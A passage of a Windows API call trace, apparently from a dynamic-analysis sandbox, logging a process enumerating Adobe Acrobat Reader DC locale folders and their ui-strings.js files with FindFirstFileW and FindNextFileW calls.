ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.360] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.360] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.361] GetProcessHeap () returned 0xc10000 [0256.361] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.361] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0256.361] GetProcessHeap () returned 0xc10000 [0256.361] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0256.362] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.362] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.362] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.362] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0256.362] GetProcessHeap () returned 0xc10000 [0256.362] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.362] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0256.363] GetProcessHeap () returned 0xc10000 [0256.363] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0256.363] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.363] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x355, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.363] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x355, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.363] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0256.364] GetProcessHeap () returned 0xc10000 [0256.364] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.364] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0256.364] GetProcessHeap () returned 0xc10000 [0256.364] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.364] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.364] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.364] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.364] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.365] GetProcessHeap () returned 0xc10000 [0256.365] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.365] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0256.365] GetProcessHeap () returned 0xc10000 [0256.365] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.365] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.365] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x351, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.366] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x351, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.366] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.366] GetProcessHeap () returned 0xc10000 [0256.366] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.366] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0256.366] GetProcessHeap () returned 0xc10000 [0256.366] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0256.367] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.368] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.368] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.368] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0256.368] GetProcessHeap () returned 0xc10000 [0256.368] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.368] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0256.368] GetProcessHeap () returned 0xc10000 [0256.368] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.370] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.370] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.370] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.370] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.370] GetProcessHeap () returned 0xc10000 [0256.371] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.371] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0256.371] GetProcessHeap () returned 0xc10000 [0256.371] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0256.371] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.371] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.371] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.371] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0256.372] GetProcessHeap () returned 0xc10000 [0256.372] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.372] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0256.372] GetProcessHeap () returned 0xc10000 [0256.372] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.372] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0256.373] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 